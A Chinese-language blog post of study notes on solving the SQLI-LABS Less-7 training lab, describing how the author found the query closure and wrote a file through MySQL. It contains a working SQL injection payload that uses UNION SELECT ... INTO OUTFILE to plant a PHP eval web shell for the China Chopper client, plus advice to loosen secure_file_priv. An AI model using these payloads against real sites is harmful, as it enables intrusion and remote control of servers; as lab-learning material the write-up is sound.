SQLI-LABS-MASTER Less7 学习笔记

花了很长的时间才把Less7注入成功,并且连上其数据库。
环境:虚拟机VMware14+win7 64位+PHP study

SQLI-LABS-MASTER Less7 学习笔记_第1张图片
这是Less 7 进入之后,输入id=1看到的结果。对于页面上显示的Yours SQL sentences are :SELECT * FROM users WHERE id=((‘1”))…..这是在源代码中加入了如下代码:

 1. echo "
"
; 2. echo "\t Yours SQL sentences are:".$sql."
"
; 3. echo "
"
;

其中的echo "
";
纯属美化。
对于我的安装而言,路径如下:
SQLI-LABS-MASTER Less7 学习笔记_第2张图片
输入单引号’之后,报错,于是继续测试,尝试闭合,使用双引号、括号等符号",),))来进行尝试闭合该sql查询。
SQLI-LABS-MASTER Less7 学习笔记_第3张图片
查询语句正常执行。这个时候使用order by来测试列数目。发现4以下都正常。
按照以往经验走,使用union select联合查询,但发现并没有输出数据。且,在正常显示页面显示出存在Use outfile,则尝试使用文件导出。
因为less 7并不输出信息,所以,在其他的less里面输出想要得到的一些信息。比如数据库路径等。可以使用如下函数进行输出@@datadir,@@basedir。
SQLI-LABS-MASTER Less7 学习笔记_第4张图片
此处要注意,一定要先使得该查询报错,然后再使用函数查询数据库路径和安装路径。
http://www.phpcms.cn/html/2011/huanjingdajian_1024/389.html 有关于以上两个函数可在该链接查看。

http://10.0.0.136/sqli-labs-master/Less-7/?id=1')) union select 1,'2','@eval($_POST["chopper"]);?>' into outfile 'C:\phpStudy\WWW\sqli-labs-master\test.php' %23

但是报错了,对于mysql数据库了解很少的我一脸懵逼,我是按照大神的过程来写的啊,然后按照大神的解决办法尝试了,还是不行,图如下。
SQLI-LABS-MASTER Less7 学习笔记_第5张图片
SQLI-LABS-MASTER Less7 学习笔记_第6张图片
可以使用show global variables like %secure%; 来查看variable_name的value。我的是如下所示
SQLI-LABS-MASTER Less7 学习笔记_第7张图片
大神的截图和我的不同,大神链接在最底部的参考链接里。
所以,自行分析遇到的问题。将SQL语句放在phpadmin中执行,结果告诉我,是因为MySQL对于文件到处的路径限制才导致这个问题。后来才知道问题该怎么解决,饶了好多弯路。大家可以参考下面链接的文章进行学习,介绍了相关问题的解决办法。当然,也因个人对于环境中的MYSQL的搭建之后进行的相关配置有关 。我是直接使用PHP study就没有再进行手动修改配置的。
https://blog.csdn.net/HHTNAN/article/details/78520511
下图为解决办法:
SQLI-LABS-MASTER Less7 学习笔记_第8张图片
最后一行的secure_file_priv=”/”是我后加上去的。代表着可以将文件导出到任意目录去。同样的存在设置好指定目录的情况,我们只需要将需要导出的文件,导出到数据库设置指定的路径即可。
设置好之后,再使用下面代码来进行导出文件到自己指定的目录。

SELECT * FROM users WHERE id=(('1')) union select 1,'2','' into outfile 'C:\phpStudy\WWW\sqli-labs-master\test.php' #')) LIMIT 0,1

执行完之后发现并没有导出文件到指定的目录,于是将该代码放进phpadmin中进行测试,结果如下:
SQLI-LABS-MASTER Less7 学习笔记_第9张图片
可以从错误代码中发现,是因为路径的问题导致的无法导出文件到指定目录中去。所以,将指定的路径中的 \ 进行转义输出即可。

SELECT * FROM users WHERE id=(('1')) union select 1,'2','' into outfile 'C:\\phpStudy\\WWW\\sqli-labs-master\\test.php' #')) LIMIT 0,1

尽管页面执行结果,依旧报错。但是,在虚拟机中,我们已经在指定的路径中,发现了test.php文件。使用菜刀一键连接即可。
至此,就已经将Less 7叙述完毕。
小结:个人在学习中遇到很多问题,尤其是对于MYSQL的不熟悉,导致走了很多弯路,闹了笑话。学习SQL注入,应该对于几种常规的数据库有一定的了解。并且,熟悉其使用方法和命令行操作。
尤其在路径被限制时,一时之间不晓得如何解决。但总归实践、发现问题、解决问题、总结,才能有很深刻的印象。

本次记录,不用于任何商业用途,仅仅用于共享学习成果。如若涉及雷同,请与我联系。谢谢!

主要参考文章链接:
https://blog.csdn.net/u012763794/article/details/51207833

你可能感兴趣的:(SQL注入)